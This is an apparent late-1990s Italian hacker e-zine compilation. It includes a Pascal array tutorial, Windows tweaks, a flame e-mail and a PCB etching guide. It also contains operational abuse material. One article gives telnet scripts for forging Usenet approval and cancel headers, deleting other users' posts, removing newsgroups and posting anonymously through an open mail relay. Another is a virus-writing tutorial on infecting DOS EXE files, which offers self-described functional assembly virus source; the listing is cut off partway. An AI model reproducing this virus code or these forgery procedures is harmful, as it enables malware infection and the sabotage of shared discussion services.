seguito attentamente l'esempio? Vi siete accorti subito delle difficolta' che si deve affrontare. Perche'? Perche' questi tipi di dato utilizzati finora, chiamati scalari, hanno una caratteristica di rappresentare un singolo valore alla volta mentre per risolvere a questo problema sono utili delle variabili strutturate che ci permette di indicare con una parola unica con dentro un insieme di dati. Nel linguaggio pascal si dichiara con ARRAY * ARRAY * --------- Per definire il tipo di una variabile strutturata bisogna specificare il tipo della struttura e il tipo delle singole componenti. Nel linguaggio pascal si dichiara in modo seguente: type vet1 = ARRAY[1..100] of integer; vet2 = ARRAY[char] of real; var v1 : vet1; v2 : vet2; allora, ora vi spiego: - v1 e' una variabile di tipo array con 100 elementi di tipo intero. - v2 e' una variabile di tipo array con 256 (o 128) di tipo reali. ------------------------------------ ESEMPIO: Facciamo un esempio di un vettore di numeri interi e sommarli tanto per capire come funziona: program somma_vet; uses crt; const dimensione = 100; type vettore = array[1..dimensione] of integer; var num : vettore; n,i,som : integer; begin clrscr; {* cancella lo schermo *} write('Quanti numeri vuoi sommare ?'); readln(n); for i := 1 to n do begin write('Dammi il ',i,' numero = '); readln(num[i]); end; som:= 0; for i:= 1 to n do som:= som + num[i]; writeln('La somma e' ',som); readln; end. ------------------------------------ Avete fatto le matrici a scuola? Sapete cosa sono le matrici e come funzionano? Uhm, comunque ve lo spiego lo stesso. Una matrice non e' altro che una tabella di numeri righe e numeri di colonne di dati. Dal punto di vista della forma tra il vettore e matrice non cambia poi moltissimo, infatti per la dichiarazione dobbiamo inserire due indici: type matrix = ARRAY[1..10,1..10] of integer; var mat : matrix; Spero che avete capito... -------------- Eccovi la lettura della matrice ---------- program matrice; uses crt; var m:array[1..3,1..3] of INTEGER; I,J,dim:INTEGER; begin clrscr; writeln('DAMMI LA DIMENSIONE DELLA MATRICE: '); readln(dim); for I:=1 to dim do Begin for J:=1 to dim do Begin Write ('Inserire l''elemento m[',I,',',J,'] '); readln(m[i,j]); end; end; readln; End. --------------------------------------------------------- Bene, spero che il mio tutorial lo avete capito... La prossima volta vi spiego Procedure, Function, RECORD e FILES. Non perdetevela ... ͻ Ŀ NNTP & FRIENDS ٺ ͼ Nulla si crea, nulla si distrugge, ma si trasforma. Infatti non posso essere considerato il diretto autore di questo breve articolo, perch in verita' ho effettuato una sorta di copia incolla, semplicemente fondendo tutte le informazioni di mia conoscenza che ho trovato sparpagliate per la rete. Nella prima fase spieghero' (brevemente) come funzionano le news e poi passero' alla pratica. Chi gia' conosce il protocollo NNTP puo' passare direttamente alla seconda sezione, evitando cosi' un'inutile rottura di scatole di teoria. Gli altri invece, se vogliono capirci qualcosa, dovranno per forza sorbirsi tutto il tutorial ;-). Via! Eccovi la teoria del protocollo NNTP (Network News Transfer Protocol). Non voglio dilungarmi troppo, un paio di esempi dovrebbero bastare; se siete curiosi cercatevi il RFC (Request For Comments) su www.ripe.net Beh io non l' ho letto, perch si trova tanto altro materiale in giro, ma chi e' curioso e conosce l'inglese puo' benissimo farlo. Devo dare per scontato che gia' sappiate cos'e' un client telnet, a cosa serve ecc... perch la loro descrizione va oltre gli scopi di quest'articolo. Allora possiamo davvero partire. Armatevi di telnet e connettevi su news.interbusiness.it (o quello che vi pare, basta che azzeccate un nntp server!) sulla porta 119. Come gia' detto, non posso stare qui a spiegarvi tutti i comandi, ma sappiate che per spedire un messaggio ci vuole davvero poco. Alle tecniche piu' avanzate ci penseremo dopo. Eccovi un esempio di quello che dovete inviare per scrivere un semplice messaggio su alt.hackers.cough.cough.cough (ho riportato solo quello che dovete scrivere voi, le risposte del server le vedrete!): group alt.hackers.cough.cough.cough post From: Azathoth azathoth@freemail.it Newsgroups: alt.hackers.cough.cough.cough Subject: Sono un mago del telnet! X-Newsreader: Azathoth telnet ver. Chetifrega Salve, vi scrivo quest'articolino usando Telnet!! . quit E' stato difficile? Non penso proprio! Nulla di strano, e' bastato poco. Se leggerete post di altre persone vedrete che hanno intestazioni molto piu' lunghe. Perch? Beh, c'e' anche gente che spedisce news in html e percio' bisogna inserire dell'altra roba, ma a noi non interessa, anche perch ci postano solo i lamer cosi'! ;-) Mi raccomando, i server nntp spesso sono moooolto intasati e a rispondere ci potrebbero impiegare anche 4-5 secondi, percio' abbiate pazienza e non scrivete finch non ricevete la relativa risposta (tranne quando state scrivendo il body ovviamente!). Per i newbies (consideriamo tutti!), ecco una brevissima spiegazione di quello che abbiamo fatto, riga per riga: ci siamo "posizionati" sul newsgroup che volevamo, abbiamo fatto la richiesta di postare un messaggio, poi tre righe d'intestazioni. Il quarto campo l' ho inserito solo per bellezza. E', infatti, opzionale (ce ne sarebbero altri opzionali, ma li useremo dopo per le nostre procedure semi-maliziose). Infine abbiamo scritto il body e,dopo il solito punto (che e' come il rosmarino), arriva il (anche questo c'e' sempre) quit di chiusura. Fine della breve spiegazione. Non c'e' molto da capire, basta fare una prova ed il gioco e' fatto. In caso di difficolta' e' stato inventato "help", che v'inviera' tutti i comandi disponibili con relativa descrizione (striminzita e in inglese, ma per un momento di smarrimento ci possiamo accontentare). Ed ora, come promesso, inizia la parte interessante. Purtroppo devo rivelarvi che i newsserver piu' famosi non accettano qualsiasi stringa gli passiate, perch, come ben si capisce, potreste mettere tutto in subbuglio. In ogni caso non demordete, perch su news.interbusiness.it e' possibile cancellare i messaggi! E poi di newsserver n'esistono moltissimi... A noi in realta' di cancellare gruppi o cose simili non ci interessa, ma un hacker (o un aspirante hacker) deve sempre avere la maggiore conoscenza possibile degli strumenti che usa ;-) Allora, le cose da dire sono davvero molteplici, non so proprio da dove cominciare! Innanzitutto vi dico che, nella maggior parte dei casi, per smanettare un po' non dobbiamo fare granch, ma bastera' semplicemente inserire qualche riga fra gli headers. Facciamo subito un esempio. Come sicuramente saprete (almeno cosi' spero!) ci sono dei newsgroup moderati, dove non si possono inserire messaggi senza l'autorizzazione del moderatore. Almeno cosi' dovrebbe essere ;-) Noi invece postiamo dove ci pare e quando ci pare e, per farlo, basta inserire solo una riga all'esempio precedente. Mettiamo di voler postare una news su alt.hackers: group alt.hackers post From: Azathoth Newsgroups: alt.hackers Subject: test Approved: yes sir X-Newsreader: yes, of course Ciao usa! . quit Da notare, c'e' solo l'aggiunta del campo Approved, dove potete inserire una parola a casaccio. Questo si puo' fare su qualsiasi server, come l'altro trucchetto che sto per scrivere. Adesso vediamo come cancellare i messaggi degli altri. Ci servono due informazioni, facilmente reperibili: il campo From e il Message-ID. Poi s'inserisce: group alt.hackers.cough.cough.cough post From: "Azathoth" Subject: cmsg cancel <7qc1jc$f00$1@fe1.cs.interbusiness.it> Control: cancel <7qc1jc$f00$1@fe1.cs.interbusiness.it> Approved: yes sir . quit E' ovvio che dovete cambiare i rispettivi campi secondo il messaggio che volete cancellare. Per i piu' sonnolenti: azz, ho cancellato ma il messaggio c'e' ancora, perch? Perch lo avevi gia' scaricato in precedenza e anche se e' stato rimosso dal server e' ancora sul tuo disco fisso. Se elimini tutto e poi scarichi di nuovo, vedrai la magia! Oppure puoi anche provare a prelevarlo sempre con telnet e ti verra' detto che il messaggio e' scomparso. Chiaro? 8-) Questo che sto per aggiungere credo che sia l'ultimo dei comandi sempre accettati :-( Per chi non lo sapesse, ogni messaggio che viene spedito puo' anche essere letto dopo 50 anni grazie a www.deja.com. Se vi da fastidio il fatto che le cose che spedite vengano archiviate, basta inserire tra i vari X-qualcosa (non ve l'ho detto, ma vi potete anche inventare altri campi! Che so, ci potete mettere X- QuantoSonoBravo: tantissimo) il famoso X-No-Archive: yes e il messaggio non sara' ricordato in eterno :-) Questo puo' essere molto comodo se usato insieme ad altri perch, per vedere chi cancella i messaggi, basta cercare su www.deja.com il subject cmsg ed il gioco e' fatto. Ci sono molte altre cose che si possono fare, ma queste sui server piu' famosi non funzionano, altrimenti si ritroverebbero senza gruppi in meno di una settimana :-) A proposito, non so nemmeno per quanto tempo ancora funzioneranno gli altri...percio' in questo poco tempo che rimane, e' d'obbligo divertirsi (magari si possono cancellare i propri, se non volete fare i giustizieri della notte). Allora, vediamo adesso come creare un nuovo gruppo di discussione senza passare tutti quegli stadi intermedi. Per la cronaca: e' stato aggiunto su tiscalinet il gruppo attilahack, percio' li' dovrebbe funzionare, bo! In ogni caso tenete conto che rischiate la galera per "reato informatico". Insomma, bisogna mettere newgroup alt.qualcosa e nel messaggio, se ci volete pure la descrizione, "For your newsgroups file: alt.qualcosa descrizione". Comunque lo sconsiglio, il nostro obiettivo e' quello di passare inosservati! E per eliminare un gruppo? rmgroup alt.qualcosa in mezzo ad un normale messaggio. Siccome non mi va di confondervi le idee, ecco la procedura completa per la rimozione: From: "Azathoth" Subject: hihihi Control: rmgroup alt.qualcosa Approved: yes sir . quit Io consiglio caldamente di non usare gli ultimi due, perch passano direttamente nella mani dell'amministratore (al contrario di tutti gli altri), che si potrebbe anche incavolare :-( Io non li ho mai usati... Chiudiamo in bellezza scoprendo come inviare un messaggio anonimo ad un qualsiasi newsgroup. Qui la cosa si fa leggermente piu' complicata, perch dobbiamo avvalerci di qualche conoscenza in piu' e usare i remailers. Facendo come sto per suggerirvi nessun utente normale saro' in grado di rintracciarvi, mentre la questione cambierebbe se doveste finire in tribunale (sarebbe lo stesso complicato), ma non credo abbiate intenzione di fare chissa' cosa! Allora, per prima cosa dobbiamo collegarci ad un server smtp che non tiene log delle visite e non fa apparire il vostro IP. mail.amadeus.it per esempio 8-) Porta 25 e vai! Ecco cosa dovete scrivere: helo 127.0.0.1 mail from: unknow@unknow.net rcpt to: remailer@replay.com data From: unknow@unknow.net To: remailer@replay.com :: Anon-Post-To: alt.hackers.cough.cough.cough ## Subject: chi sono? Indovinate chi sono? Impossibile saperlo! . quit Non c'e' null'altro da dire, no? Voglio concludere dicendo che io in realta' non sono l'autore dell'articolo, poich avreste potuto trovare tutte queste informazioni semplicemente leggendo le RFC e usando solo un po' di fantasia. Mi raccomando, usate le cose che vi ho insegnato con moderazione, perch cancellare messaggi eccetera sono dei reati e non esiste un modo per essere completamente anonimi. Finora non ho sentito nessuno che sia finito nei guai per una questione del genere, ma il sysadmin se volesse in ogni caso potrebbe sapere chi siete. Quindi, attenzione! Io ho cancellato solo i miei messaggi sui gruppi di test. Per quanto riguarda invece l'ultimo pezzo, potete usarlo tranquillamente ed e' anche una buona tecnica. Perch? Per prima cosa il vostro Ip gia' non risulta su amadeus e poi abbiamo anche usato un remail, percio' abbiamo un ottimo grado d'anonimita'. Se proprio ci tenete a cancellare, consiglio di usare il bouncing, ossia prendete una shell gratuita, anzi, piu' di una e collegatevi da una all'altra e infine al server. Ma questo va oltre i miei scopi...Ahm, dimenticavo anche che non c'e' bisogno ogni volta di riscrivere tutto con telnet, ma potete anche scrivere una stupidissima utility. Con il visual basic e il winsock.ocx s'impiegano 10 minuti. Ho finito! Nella speranza di avervi imparato qualcosa d'utile, vi saluto: buon divertimento e good luck! -=Azathoth=- www.spippolatori.com WINDOWS 9X... UN PO' DI TRUCCHI *********************************************************************** Ecco un bel trucchetto per cambiare l'arresto di Windows. Cerchiamo i file logos.sys e logow.sys nella cartella c:\windows (o dove avete installato Windows). Sebbene questi file terminino con l'estensione *.sys sono a tutti gli effetti dei *.bmp, quindi dei file grafici. Proviamo a copiare i file gia' presenti sul computer in un posto sicuro per conservare una copia integra. Adesso rinominiamo quelli che abbiamo copiato in modo da cambiare l'estensione da *.sys in *.bmp . A questo punto e' possibile aprirli con un qualsiasi programma di disegno. Apriamoli e modifichiamoli a nostro piacimento. Salviamo il nostro capolavoro e modifichiamolo nuovamente in *.sys e rimettiamolo in c:\windows (state attenti di avere sempre una coppia di sicurezza). D'ora in poi ogni volta che chiuderemo Windows riceveremo un messaggio di saluto personalizzato. *********************************************************************** Non ci piacciono le icone che abbiamo sulla scrivania del nostro amatissimo Windozzo ? No problem. Apriamo Pbrush, selezioniamo la voce Immagine e poi Attributi. Modifichiamo la dimensione in 32 pixel di larghezza e 32 di altezza.. Ora disegniamo la nostra icona (magari usando la lente) e poi salviamo CON ESTENSIONE *.ICO ! Non bmp. Bene, adesso facciamo un click su un programma che abbiamo sulla scrivania, premiamo il tasto destro, selezioniamo propieta', tasto "Cambia Icona", cerchiamo l'icona che abbiamo creato, clicchiamo Ok, ancora Ok e... magia. Abbiamo disegnato un icona. *********************************************************************** Vogliamo poter chiudere Windows con un solo click, senza dover fare tutta la trafila Start, Chiudi Sessione, Arresta Sistema, Ok ? Bene. Andiamo con il mouse sul desktop, clicchiamo con il terzo tasto in punto qualsiasi del desktop, selezioniamo Nuovo, Collegamento, come riga di comando inserite: C:\WINDOWS\RUNDLL32.EXE user,Exitwindows Date un nome e un icona al file. Ora provate ad aprirlo e... 3mendo !! Windows si chiude senza domandarci niente !! SCREENER_IT screener_it@usa.net ͻ Ŀ MITICA MAIL DI TEX IN RISPOSTA AL LAMERINO DI TURNO ٺ ͼ Newsgroups: alt.hackers.cough.cough.cough Subject: Re: URGENTE BISOGNO DI PASSWORD! In data Wed, 10 Nov 1999 10:31:36 +0100, Tex cosi' scrisse: Riporto quanto arrivatomi in mail da tal "Platone" , in reply a questo post.... Chissa' chi sara'.. mah.. Ti hanno gia' seccato l'altra eMail, EmaSkywalker, o sei il cuGGino piu' grande? >1)mi servivi solo per fare numero Perfetto, allora.. Sempre lieto di essere utile. >2)Non ho chiesto A TE, potevi anche NON rispondere Il NG e' pubblico, non lo sapevi? >3)Fatti i CAZZI tuoi Sono MOLTO cazzi miei, il perche' lo troverai spiegato piu' sotto, anche se non lo capirai. >4)Visto che sei cosi' FORTE e GROSSO e SPESSO mi faro' un giro nella tua >mail e nel tuo pc Forte, grosso e spesso? Bei termini... >DI' CIAO BELLO!!!!!!!!!!!!!!!!!!!! Ciao pirla (ho variato un po' dal tema, comunque fa niente). >SAY CHEESE!!!!!!! Guarda che per parlare inglese non e' che basta solo tradurre parola per parola dall'italiano; devi anche rispettare le regole grammaticali. Poi CHEESE si usa per le foto, non per i saluti. Quello che mi fa incazzare, di tutto questo, non e' certo il tono della tua risposta, ne' tantomeno mi fanno paura le tue minacce.. Non siamo in sala giochi, o al Bar Sport. Mi fa incazzare la massa di deficenza [deficenza nel significato latino del termine] che traborda dalla tua mail. Deficenza in tutto.. Innanzitutto, e' sempre pericoloso fare minacce che non puoi mantenere; sai forse chi sono io? Potrei essere un sedicenne che non capisce un cazzo, oppure potrei essere ben altro [il rischio REALE che corri in questo campo non e' il pc formattato.. E' il trovarsi dietro le sbarre, ricordatelo quando usi le tue password o quando rompi i coglioni alla gente]. Ma come cazzo puoi venire a scrivermi 'mi faro' un giro nella tua mail e nel tuo pc'? Possibile che tu sia cosi' tardo? L'email che vedi non e' certo la mia mail principale.. E' una mail di battaglia, dedicata ai babbei di turno; la consulto dall'ufficio, con velocita' di trasferimento intorno ai 100-200Kb/sec (sai contare fino a li'? E' 40 volte la tua velocita' di connessione); se vuoi fare del mail bombing, accomodati. Da Web ci metto molto poco a cancellare tutto; del resto, anche da casa ci si mette poco, con uno script. Ma e' possibile che tu non abbia un minuto da dedicare per vedere chi cazzo sono io e da dove scrivo? Possibile che tu sia cosi' ignorante ed arrogante da presupporre che tutti usino Windows98 ed abbiano una decina di trojan installati, pronti per il lamer [si scrive lamer ma leggilo COGLIONE] di turno? L'Ip da cui scrivo e' statico, ed e' sempre 212.45.98.82 (chiunque -ma non te- puo' vederlo); Se avessi PENSATO, avresti capito che raggiungere il PC da cui scrivo e' PIUTTOSTO difficile, e sicuramente fuori dalla tua portata; dovresti avere conoscenze che non raggiungerai mai. Se pero' ti riferisci al PC di casa, temo sia sempre al di fuori della tua portata... Dovresti conoscere l'IP del momento, poi io dovrei installare su NT o 95 un bel trojan, altrimenti tu come potresti mai fare? Del resto, potrei riattivare il telnetd su Linux... Ma temo che tu non sia capace di fare danni neanche avendo una shell tra le mani, povero piccolo lamer [si scrive lamer ma leggilo COGLIONE]. Tutto questo non perche' io sia particolarmente bravo, ma perche' tu sei Zparticolarmente ignorante, arrogante e presuntuoso. Tant'e'... Purtroppo non sei l'unico.... Come ti dicevo prima, sono MOLTISSIMO cazzi miei, e ti spiego il perche'.. MI SONO ROTTO I COGLIONI di vedere e sentire notizie tipo 'Difendiamoci dagli Hackers', 'Gli strumenti Hackers piu' diffusi', 'Gli Hackers sono pericolosi' .. Se compri le riviste pseudo-specialistiche, e' pieno di questa spazzatura. La televisione poi, se ci si mette, e' anche peggio. Tutto questo ultimamente sta ricominciando, e tutto e' dovuto ad una marea di ragazzini brufolosi e pippaioli, buoni solo a scaricare figa, virus e trojan da Internet, per poi rompere i coglioni con mezzi che non capiscono a tutti quelli che in Internet ci sono per lavoro, per diletto o per necessita'.. Lamer... Lamer come te, Lamer che usano prodotti e sistemi operativi perche' va di moda, Lamer buoni solo ad usare trojan e backdoor confezionate da altri, Lamer che credono che la rete sia l'ennesimo ritrovo di minorati, dove si mettono in mostra gli scooter e le troiette di turno. Lamer.. Buoni solo a chiedere "COME FACCIO A..", senza mai pensare al PERCHE' le cose funzionano in quel modo.. Siete capaci solo di pretendere, ma incapaci di capire. Qui, come probabilmente nella vita. Io non sono un Hacker, e probabilmente mai lo diventero'.. Pero' adoro e condivido in pieno l'ideologia Hacker, se e' corretto chiamarla ideologia.. Tu, Lamer, e gli altri Lamer come te.. Sciamate fuori dai vostri modem, alla ricerca del poveraccio indifeso, senza rispetto di niente e di nessuno, senza pensare ai danni che provocate (agli altri ed a voi).. Percorrete la rete in lungo ed in largo, alla ricerca di 'sfigati' e troie virtuali, senza accorgervi della cosa piu' affascinante, piu' preziosa... E' la rete stessa. Infestate la rete, infangate tutta una categoria di persone, che alla conoscenza ci si e' dedicata anima e corpo; tutto per la vostra ignoranza ed arroganza... Quindi, prima di rispondermi di farmi i cazzi miei, pensaci. E leggi, invece di farti le pippe.. Leggi tutto quello che ti capita sotto mano, invece di giocare a Quake III; cerca di capire cos'e' un protocollo, prima di fare un giro nel PC di qualche poveraccio... Hai una rete incredibilmente estesa e ricca di informazioni, usala.. Non sprecarla come stai facendo. Tex P.S.: Evita di rispondermi, qui o in mail, perche' della tua risposta non me ne frega un cazzo; il discorso con te finisce qui. P.P.S.: Per tutti gli altri.... Scusate lo sfogo, ho scritto di getto. -- =========================================================== "Adesso avete.. 2 Minuti.. Per abbandonare l'astronave.." =========================================================== NOTA DI N0bodY88 : raga faccio i miei complimenti a Tex xche' a me sta mail e' piaciuta come il manifesto di mentor! Una sola cosa non capisco...Tex xche' ce l'hai coi pippaioli???? =) hihihi ͻ Ŀ IL METODO DEL FERRO DA STIRO ٺ ͼ Materiale: Ovviamente un ferro da stiro Un piano dove "stirare" liscio e resistente al calore Una lastrina in vetronite non fotosensibilizzata Pulitore per argento Alcool etilico Una stampante laser o una inkjet+fotocopiatrice Un foglio di carta lucida (patinata) Uno spazzolino da denti vecchio Una bacinella di acqua fredda Un pennerello resistente all'acqua che scriva su tutto Una bacinella bassa e spessa (leggi : tipico fondovaso verde) Soluzione satura di Ferro cloruro 1) Dal vostro programma di grafica preferito stampate (mirrored) il disegno del PCB sul foglio di carta lucida (dalla parte lucida ;-)). Fate una stampa 1:1 e se usate una laser: Impostate al massimo la quantita' di toner. una inkjet: Stampate in alta risoluzione (su di un foglio comune) fate una fotocopia 1:1 con il contrasto al massimo. 2) Prendete la vostra lastrina di vetronite e lucidatela con il pulitore per argento,risciacquatela con acqua,risciaquatela con alcool etilico.. Lasciate asciugare.... pazienza... Una volta asciutta mettetela a faccia in su sul piano dove liscio Appoggiateci il foglio con il toner a contatto del rame e STIRATE STIRATE STIRATE alla massima temperatura (lino-cotone) Il calore del ferro da stiro sciogliera' il TONER che si incollera' alla lastrina insistete bene soprattutto se avete tracce sottili premete si, ma non esagerate per non fare sbavare il toner Quando vi sembra di aver stirato abbastanza riponete il ferro li da dove lo avete rubato a vostra moglie 3) Prendete la lastina+foglio ormai un tuttuno (NON CON LE MANI SCOTTA !!!) Lasciatelo raffreddare .... intanto preparerete la prima bacinella Una volta freddo mettete a bagno la lastina+foglio L'acqua a poco a poco sciogliera' la carta ... Quando vi sembra che la carta sia abbastanza "spappata" rimuovetela con lo spazzolino un po' alla volta !!!NON ABBIATE FRETTA O TOGLIERETE ANCHE IL TONER!!! 4) A questo punto dovreste avere la lastrina con sopra il disegno dello stampato se ci sono piccole imperfezioni correggetele con il pennarello se mancano piste intere GOTO 1 altrimenti CONGRATULAZIONI avete appreso la tecnica. 5) Preparate (con i cristalli) o prendete (gia' pronta) la soluzione satura di ferro clururo e scaldatela (con un phon per esempio) ATTENZIONE IL FERRO CLORURO MACCHIA (le macchie possono essre tolte con acido fosforico diluitissimo) 6) Mettete soluzione e lastrina nella seconda bacinella e agitate a mo setaccio per pepite finche tutto il rame che non e' coperto del toner si e sciolto; lavate la lastrina come al punto 2 7) Fate i buchi con il trapano, segate, scartavetrate, saldate ecc. |M4X| Maxpirata@hotmail.com ۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰ >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> > > > -- Virus Programming (Not so Basic)-- > > > > by XaRaBaS [l1ghtz] > > > >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> Infecting an .EXE is not much more difficult than infecting a .COM. To do so, you must learn about a structure known as the EXE header. Once you've picked this up, it's not so difficult and it offers many more options than just a simple jump at the beginning of the code. Let's begin: % The Header structure % The information on EXE header structure is available from any good DOS book, and even from some other H/P/V mags. Anyhow, I'll include that information here for those who don't have those sources to understand what I'm talking about. Offset Description 00 EXE identifier (MZ = 4D5A) 02 Number of bytes on the last page (of 512 bytes) of the program 04 Total number of 512 byte pages, rounded upwards 06 Number of entries in the File Allocation Table 08 Size of the header in paragraphs, including the FAT 0A Minimum memory requirement 0C Maximum memory requirement 0E Initial SS 10 Initial SP 12 Checksum 14 Initial IP 16 Initial CS 18 Offset to the FAT from the beginning of the file 1A Number of generated overlays The EXE identifier (MZ) is what truly distinguishes the EXE from a COM, and not the extension. The extension is only used by DOS to determine which must run first (COM before EXE before BAT). What really tells the system whether its a "true" EXE is this identifier (MZ). Entries 02 and 04 contain the program size in the following format: 512 byte pages * 512 + remainder. In other words, if the program has 1025 bytes, we have 3 512 byte pages (remember, we must round upwards) plus a remainder of 1. (Actually, we could ask why we need the remainder, since we are rounding up to the nearest page. Even more since we are going to use 4 bytes for the size, why not just eliminate it? The virus programmer has such a rough life :-)). Entry number 06 contains the number of entries in the FAT (number of pointers, see below) and entry 18 has the offset from the FAT within the file. The header size (entry 08) includes the FAT. The minimum memory requirement (0A) indicates the least amount of free memory the program needs in order to run and the maximum (0C) the ideal amount of memory to run the program. (Generally this is set to FFFF = 1M by the linkers, and DOS hands over all available memory). The SS:SP and CS:IP contain the initial values for theses registers (see below). Note that SS:SP is set backwards, which means that an LDS cannot load it. The checksum (12) and the number of overlays (1a) can be ignored since these entries are never used. % EXE vs. COM load process % Well, by now we all know exhaustively how to load a .COM: We build a PSP, we create an Environment Block starting from the parent block, and we copy the COM file into memory exactly as it is, below the PSP. Since memory is segmented into 64k "caches" no COM file can be larger than 64K. DOS will not execute a COM file larger than 64K. Note that when a COM file is loaded, all available memory is granted to the program. Where it pertains to EXEs, however, bypassing these limitations is much more complex; we must use the FAT and the EXE header for this. When an EXE is executed, DOS first performs the same functions as in loading a COM. It then reads into a work area the EXE header and, based on the information this provides, reads the program into its proper location in memory. Lastly, it reads the FAT into another work area. It then relocates the entire code. What does this consist of? The linker will always treat any segment references as having a base address of 0. In other words, the first segment is 0, the second is 1, etc. On the other hand, the program is loaded into a non-zero segment; for example, 1000h. In this case, all references to segment 1 must be converted to segment 1001h. The FAT is simply a list of pointers which mark references of this type (to segment 1, etc.). These pointers, in turn, are also relative to base address 0, which means they, too, can be reallocated. Therefore, DOS adds the effective segment (the segment into which the program was loaded; i.e. 1000h) to the pointer in the FAT and thus obtains an absolute address in memory to reference the segment. The effective segment is also added to this reference, and having done this with each and every segment reference, the EXE is reallocated and is ready to execute. Finally, DOS sets SS:SP to the header values (also reallocated; the header SS + 1000H), and turns control over to the CS:IP of the header (obviously also reallocated). Lets look at a simple exercise: EXE PROGRAM FILE Header CS:IP (Header) 0000:0000 + (reallocation Eff. Segment 1000 + table entries=2) PSP 0010 = ------------------------- Entry Point 1010:0000 >Ŀ Reallocation Table 0000:0003 >> + 1010H = 1010:0003 >Ŀ 0000:0007 >> + 1010H = 1010:0007 >Ŀ Program Image PROGRAM IN MEMORY PSP 1000:0000 call 0001:0000 > call 1011:0000 1010:0000 < nop nop 1010:0005 mov ax, 0003 > mov ax, 1013 1010:0006 mov ds, ax mov ds, ax 1010:0009 Note: I hope you appreciate my use of the little arrows, because it cost me a testicle to do it by hand using the Alt+??? keys in Norton Commander Editor. % Infecting the EXE % Once it has been determined that the file is an EXE and NOT a COM, use the following steps to infect it: - Obtain the file size and calculate the CS:IP This is complex. Most, if not all, viruses add 1 to 15 garbage bytes to round out to a paragraph. This allows you to calculate CS in such a way that IP does not vary from file to file. This, in turn, allows you to write the virus without "reallocation" since it will always run with the same offset, making the virus both less complex and smaller. The (minimal) effort expended in writing these 1 - 15 bytes is justified by these benefits. - Add the virus to the end of the file. Well, I'm sure that by now you are familiar function 40H of Int 21H, right? :-) - Calculate the SS:SP When infecting an EXE it is necessary for the virus to "fix" itself a new stack since otherwise the host's stack could be superimposed over the virus code and have it be overwritten when the code is executed. The system would then hang. Generally, SS is the same as the calculated CS, and SP is constant (you can put it after the code). Something to keep in mind: SP can never be an odd number because, even though it will work, it is an error and TBSCAN will catch it. (TBSCAN detects 99% of the virus stacks with the "K" flag. The only way to elude this that I'm aware of, is to place the stack AHEAD of the virus in the infected file, which is a pain in the ass because the infection size increases and you have to write more "garbage" to make room for the stack. - Modify the size shown in the header Now that you've written the virus, you can calculate the final size and write it in the header. It's easy: place the size divided by 512 plus 1 in 'pages' and the rest in 'remainder'. All it takes is one DIV instruction. - Modify the "MinAlloc" In most EXEs, "MaxAlloc" is set to FFFF, or 1 meg, and DOS will give it all the available memory. In such cases, there is more than enough room for HOST+VIRUS. But, two things could happen: 1. It could be that "MaxAlloc" is not set to FFFF, in which case only the minimum memory is granted to the host and possibly nothing for the virus. 2. It could be that there is too little memory available, thus when the system gives the program "all the available memory" (as indicated by FFFF) there may still be insufficient memory for HOST+VIRUS. In both cases, the virus does not load and the system halts. To get around this, all that needs to be done is to add to "MinAlloc" the size of the virus in "paragraphs". In the first case, DOS would load the program and everything would work like a charm. In the second case, DOS would not execute the file due to "insufficient memory". Well, that's all. Just two last little things: when you write an EXE infector, we are interested not only in the infection routine but also the installation routine. Keep in mind that in an EXE DS and ES point to the PSP and are different from SS and CS (which in turn can be different from each other). This can save you from hours of debugging and inexplicable errors. All that needs to be done is to follow the previously mentioned steps in order to infect in the safe, "traditional" way. I recommend that you study carefully the virus example below as it illustrates all the topics we've mentioned. % Details, Oh, Details ... % One last detail which is somewhat important, deals with excessively large EXEs. You sometimes see EXEs which are larger than 500K. (For example, TC.EXE which was the IDE for TURBO C/C++ 1.01, was 800K. Of course, these EXEs aren't very common; they simply have internal overlays. It's almost impossible to infect these EXEs for two reasons: 1. The first is more or less theoretical. It so happens that it's only possible to direct 1M to registers SEGMENT:OFFSET. For this reason, it is technically impossible to infect EXEs 1M+ in size since it is impossible to direct CS:IP to the end of the file. No virus can do it. (Are there EXEs of a size greater than 1M? Yes, the game HOOK had an EXE of 1.6M. BLERGH!) 2. The second reason is of a practical nature. These EXEs with internal overlays are not loaded whole into memory. Only a small part of the EXE is loaded into memory, which in turn takes care of loading the other parts AS THEY ARE NEEDED. That's why its possible to run an 800K EXE (did you notice that 800K > 640K? :-) ). How does this fact make these EXEs difficult to infect? Because once one of these EXEs has been infected and the virus has made its modifications, the file will attempt to load itself into memory in it's entirety (like, all 800K). Evidently, the system will hang. It's possible to imagine a virus capable of infecting very large EXEs which contain internal overlays (smaller than 1M) by manipulating the "Header Size", but even so I can't see how it would work because at some point DOS would try to load the entire file. % A Special case: RAT % Understanding the header reallocation process also allows us to understand the functioning of a virus which infects special EXEs. We're talking about the RAT virus. This virus takes advantage of the fact that linkers tend to make the headers in caches of 512 bytes, leaving a lot of unused space in those situations where there is little reallocation. This virus uses this unused space in order to copy itself without using the header (of the file allocation table). Of course, it works in a totally different manner from a normal EXE infector. It cannot allow any reallocation; since its code is placed BEFORE the host, it would be the virus code and not the host which is reallocated. Therefore, it can't make a simple jump to the host to run it (since it isn't reallocated); instead, it must re-write the original header to the file and run it with AX=4B00, INT 21. % Virus Example % OK, as behooves any worthwhile virus 'zine, here is some totally functional code which illustrates everything that's been said about infecting EXEs. If there was something you didn't understand, or if you want to see something "in code form", take a good look at this virus, which is commented OUT THE ASS. -------------------- Cut Here ------------------------------------ ;NOTE: This is a mediocre virus, set here only to illustrate EXE ; infections. It can't infect READ ONLY files and it modifies the ; date/time stamp. It could be improved, such as by making it ; infect R/O files and by optimizing the code. ; ;NOTE 2: First, I put a cute little message in the code and second, ; I made it ring a bell every time it infects. So, if you infect ; your entire hard drive, it's because you're a born asshole. code segment para public assume cs:code, ss:code VirLen equ offset VirEnd - offset VirBegin VirBegin label byte Install: mov ax, 0BABAH ; This makes sure the virus doesn't go resident ; twice int 21h cmp ax, 0CACAH ; If it returns this code, it's already ; resident jz AlreadyInMemory mov ax, 3521h ; This gives us the original INT 21 address so int 21h ; we can call it later mov cs:word ptr OldInt21, bx mov cs:word ptr OldInt21+2, es mov ax, ds ; \ dec ax ; | mov es, ax ; | mov ax, es:[3] ; block size ; | If you're new at this, ; | ignore all this crap sub ax, ((VirLen+15) /16) + 1 ; | (It's the MCB method) xchg bx, ax ; | It's not 